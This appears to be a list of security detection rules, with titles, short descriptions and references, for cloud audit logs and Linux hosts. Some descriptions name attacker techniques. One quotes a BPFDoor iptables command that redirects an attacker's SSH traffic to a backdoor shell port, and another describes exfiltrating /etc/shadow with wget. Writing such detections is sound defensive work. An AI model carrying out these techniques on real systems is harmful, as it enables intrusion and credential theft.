Cisco Duo Successful MFA Authentication Via Bypass Code	Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.	https://duo.com/docs/adminapi#logs, https://help.duo.com/s/article/6327?language=en_US
GCP Access Policy Deleted	Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.	https://cloud.google.com/access-context-manager/docs/audit-logging, https://cloud.google.com/logging/docs/audit/understanding-audit-logs, https://cloud.google.com/logging/docs/reference/audit/auditlog/rest/Shared.Types/AuditLog
GCP Break-glass Container Workload Deployed	Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.	https://cloud.google.com/binary-authorization
Google Cloud Storage Buckets Enumeration	Detects when storage bucket is enumerated in Google Cloud.	https://cloud.google.com/storage/docs/json_api/v1/buckets
Google Cloud Storage Buckets Modified or Deleted	Detects when storage bucket is modified or deleted in Google Cloud.	https://cloud.google.com/storage/docs/json_api/v1/buckets
Google Cloud Re-identifies Sensitive Information	Identifies when sensitive information is re-identified in google Cloud.	https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify
Google Cloud DNS Zone Modified or Deleted	Identifies when a DNS Zone is modified or deleted in Google Cloud.	https://cloud.google.com/dns/docs/reference/v1/managedZones
Google Cloud Firewall Modified or Deleted	Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).	https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging, https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html
Google Full Network Traffic Packet Capture	Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.	https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging, https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html
Google Cloud Kubernetes Admission Controller	Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.	https://cloud.google.com/kubernetes-engine/docs
Google Cloud Kubernetes CronJob	Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.	https://cloud.google.com/kubernetes-engine/docs, https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/, https://kubernetes.io/docs/concepts/workloads/controllers/job/
Google Cloud Kubernetes RoleBinding	Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.	https://github.com/elastic/detection-rules/pull/1267, https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole, https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control, https://kubernetes.io/docs/reference/access-authn-authz/rbac/, https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
Google Cloud Kubernetes Secrets Modified or Deleted	Identifies when the Secrets are Modified or Deleted.	https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
Google Cloud Service Account Disabled or Deleted	Identifies when a service account is disabled or deleted in Google Cloud.	https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts
Google Cloud Service Account Modified	Identifies when a service account is modified in Google Cloud.	https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts
Google Cloud SQL Database Modified or Deleted	Detect when a Cloud SQL DB has been modified or deleted.	https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update
Google Cloud VPN Tunnel Modified or Deleted	Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.	https://any-api.com/googleapis_com/compute/docs/vpnTunnels
Google Workspace Application Access Level Modified	Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.	https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-application-settings, https://support.google.com/a/answer/9261439
Google Workspace Application Removed	Detects when an an application is removed from Google Workspace.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST
Google Workspace Granted Domain API Access	Detects when an API access service account is granted domain authority.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS
Google Workspace MFA Disabled	Detects when multi-factor authentication (MFA) is disabled.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION
Google Workspace Role Modified or Deleted	Detects when an a role is modified or deleted in Google Workspace.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings
Google Workspace Role Privilege Deleted	Detects when an a role privilege is deleted in Google Workspace.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings
Google Workspace User Granted Admin Privileges	Detects when an Google Workspace user is granted admin privileges.	https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3, https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE
Github Delete Action Invoked	Detects delete action in the Github audit logs for codespaces, environment, project and repo.	https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions
Outdated Dependency Or Vulnerability Alert Disabled	Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.	https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts, https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization
Github High Risk Configuration Disabled	Detects when a user disables a critical security feature for an organization.	https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization, https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions, https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository, https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise
Github Fork Private Repositories Setting Enabled/Cleared	Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).	https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#private_repository_forking
New Github Organization Member Added	Detects when a new member is added or invited to a github organization.	https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#dependabot_alerts-category-actions
Github New Secret Created	Detects when a user creates action secret for the organization, environment, codespaces or repository.	https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions
Github Outside Collaborator Detected	Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.	https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#audit-log-actions, https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization
Github Push Protection Bypass Detected	Detects when a user bypasses the push protection on a secret detected by secret scanning.	https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations, https://thehackernews.com/2024/03/github-rolls-out-default-secret.html
Github Push Protection Disabled	Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.	https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/push-protection-for-repositories-and-organizations, https://thehackernews.com/2024/03/github-rolls-out-default-secret.html
Github Repository/Organization Transferred	Detects when a repository or an organization is being transferred to another location.	https://docs.github.com/en/repositories/creating-and-managing-repositories/transferring-a-repository, https://docs.github.com/en/organizations/managing-organization-settings/transferring-organization-ownership, https://docs.github.com/en/migrations, https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#migration
Github Secret Scanning Feature Disabled	Detects if the secret scanning feature is disabled for an enterprise or repository.	https://docs.github.com/en/enterprise-cloud@latest/code-security/secret-scanning/about-secret-scanning
Github Self Hosted Runner Changes Detected	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.	https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners, https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#search-based-on-operation
Github SSH Certificate Configuration Changed	Detects when changes are made to the SSH certificate configuration of the organization.	https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities, https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#ssh_certificate_authority
Azure Login Bypassing Conditional Access Policies	Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith.	https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/, https://github.com/JumpsecLabs/TokenSmith
Disabling Multi Factor Authentication	Detects disabling of Multi Factor Authentication.	https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/
New Federated Domain Added	Detects the addition of a new Federated Domain.	https://research.splunk.com/cloud/e155876a-6048-11eb-ae93-0242ac130002/, https://o365blog.com/post/aadbackdoor/
New Federated Domain Added - Exchange	Detects the addition of a new Federated Domain.	https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf, https://us-cert.cisa.gov/ncas/alerts/aa21-008a, https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html, https://www.sygnia.co/golden-saml-advisory, https://o365blog.com/post/aadbackdoor/
Activity from Suspicious IP Addresses	Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Activity Performed by Terminated User	Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Activity from Anonymous IP Addresses	Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Data Exfiltration to Unsanctioned Apps	Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Activity from Infrequent Country	Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Microsoft 365 - Impossible Travel Activity	Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Logon from a Risky IP Address	Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Microsoft 365 - Potential Ransomware Activity	Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
PST Export Alert Using eDiscovery Alert	Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content	https://learn.microsoft.com/en-us/microsoft-365/compliance/alert-policies?view=o365-worldwide
PST Export Alert Using New-ComplianceSearchAction	Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.	https://learn.microsoft.com/en-us/powershell/module/exchange/new-compliancesearchaction?view=exchange-ps
Suspicious Inbox Forwarding	Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Suspicious OAuth App File Download Activities	Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Microsoft 365 - Unusual Volume of File Deletion	Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Microsoft 365 - User Restricted from Sending Email	Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.	https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy, https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
Okta Admin Functions Access Through Proxy	Detects access to Okta admin functions through proxy.	https://www.beyondtrust.com/blog/entry/okta-support-unit-breach, https://dataconomy.com/2023/10/23/okta-data-breach/, https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/
Okta Admin Role Assigned to an User or Group	Detects when an the Administrator role is assigned to an user or group.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Admin Role Assignment Created	Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta API Token Created	Detects when a API token is created	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta API Token Revoked	Detects when a API Token is revoked.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Application Modified or Deleted	Detects when an application is modified or deleted.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Application Sign-On Policy Modified or Deleted	Detects when an application Sign-on Policy is modified or deleted.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta FastPass Phishing Detection	Detects when Okta FastPass prevents a known phishing site.	https://sec.okta.com/fastpassphishingdetection, https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Identity Provider Created	Detects when a new identity provider is created for Okta.	https://developer.okta.com/docs/reference/api/system-log/, https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
Okta Network Zone Deactivated or Deleted	Detects when an Network Zone is Deactivated or Deleted.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta MFA Reset or Deactivated	Detects when an attempt at deactivating or resetting MFA.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta New Admin Console Behaviours	Detects when Okta identifies new activity in the Admin Console.	https://developer.okta.com/docs/reference/api/system-log/, https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
Potential Okta Password in AlternateID Field	Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.	https://developer.okta.com/docs/reference/api/system-log/, https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data, https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm
Okta Policy Rule Modified or Deleted	Detects when an Policy Rule is Modified or Deleted.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Policy Modified or Deleted	Detects when an Okta policy is modified or deleted.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Security Threat Detected	Detects when an security threat is detected in Okta.	https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm, https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta Suspicious Activity Reported by End-user	Detects when an Okta end-user reports activity by their account as being potentially suspicious.	https://developer.okta.com/docs/reference/api/system-log/, https://github.com/okta/workflows-templates/blob/master/workflows/suspicious_activity_reported/readme.md
Okta Unauthorized Access to App	Detects when unauthorized access to app occurs.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
Okta User Account Locked Out	Detects when an user account is locked out.	https://developer.okta.com/docs/reference/api/system-log/, https://developer.okta.com/docs/reference/api/event-types/
New Okta User Created	Detects new user account creation	https://developer.okta.com/docs/reference/api/event-types/
Okta User Session Start Via An Anonymising Proxy Service	Detects when an Okta user session starts where the user is behind an anonymising proxy service.	https://developer.okta.com/docs/reference/api/system-log/, https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection
OneLogin User Assumed Another User	Detects when an user assumed another user account.	https://developers.onelogin.com/api-docs/1/events/event-resource
OneLogin User Account Locked	Detects when an user account is locked or suspended.	https://developers.onelogin.com/api-docs/1/events/event-resource/
Default Credentials Usage	Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists
Host Without Firewall	Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
Cleartext Protocol Usage Via Netflow	Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
Audio Capture	Detects attempts to record audio with arecord utility	https://linux.die.net/man/1/arecord, https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa
Auditing Configuration Changes on Linux Host	Detect changes in auditd configuration files	https://github.com/Neo23x0/auditd/blob/master/audit.rules, Self Experience
Binary Padding - Linux	Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md
BPFDoor Abnormal Process ID or Lock File Accessed	detects BPFDoor .lock and .pid files access in temporary file storage facility	https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/, https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
Bpfdoor TCP Ports Redirect	All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.	https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/, https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
Linux Capabilities Discovery	Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.	https://man7.org/linux/man-pages/man8/getcap.8.html, https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/, https://mn3m.info/posts/suid-vs-capabilities/, https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
File Time Attribute Change - Linux	Detect file time attribute change to hide new or changes to existing files.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md
Remove Immutable File Attribute - Auditd	Detects removing immutable file attribute.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
Clipboard Collection with Xclip Tool - Auditd	Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.	https://linux.die.net/man/1/xclip, https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/
Clipboard Collection of Image Data with Xclip Tool	Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.	https://linux.die.net/man/1/xclip
Possible Coin Miner CPU Priority Param	Detects command line parameter very often used with coin miners	https://xmrig.com/docs/miner/command-line-options
Creation Of An User Account	Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.	https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files, https://access.redhat.com/articles/4409591#audit-record-types-2, https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07
Data Compressed	An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/a78b9ed805ab9ea2e422e1aa7741e9407d82d7b1/atomics/T1560.001/T1560.001.md
Data Exfiltration with Wget	Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.	https://linux.die.net/man/1/wget, https://gtfobins.github.io/gtfobins/wget/
Overwriting the File with Dev Zero or Null	Detects overwriting (effectively wiping/deleting) of a file.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
Disable System Firewall	Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md, https://firewalld.org/documentation/man-pages/firewall-cmd.html
File or Folder Permissions Change	Detects file and folder permission changes.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md
Credentials In Files - Linux	Detecting attempts to extract passwords with grep	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
Use Of Hidden Paths Or Files	Detects calls to hidden files or files located in hidden directories in NIX systems.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
Hidden Files and Directories	Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
Steganography Hide Zip Information in Picture File	Detects appending of zip file to image	https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
Linux Keylogging with Pam.d	Detect attempt to enable auditing of TTY input	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md, https://linux.die.net/man/8/pam_tty_audit, https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing, https://access.redhat.com/articles/4409591#audit-record-types-2
Modification of ld.so.preload	Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md, https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html
Loading of Kernel Module via Insmod	Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md, https://linux.die.net/man/8/insmod, https://man7.org/linux/man-pages/man8/kmod.8.html
Logging Configuration Changes on Linux Host	Detect changes of syslog daemons configuration files	self experience
Masquerading as Linux Crond Process	Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.	https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process
Modify System Firewall	Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.	https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html, https://blog.aquasec.com/container-security-tnt-container-attack
Linux Network Service Scanning - Auditd	Detects enumeration of local or remote network services.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
Network Sniffing - Linux	Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
Password Policy Discovery - Linux	Detects password policy discovery commands	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md, https://linux.die.net/man/1/chage, https://man7.org/linux/man-pages/man1/passwd.1.html, https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
Systemd Service Reload or Start	Detects a reload or a start of a service.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md
Screen Capture with Import Tool	Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md, https://linux.die.net/man/1/import, https://imagemagick.org/
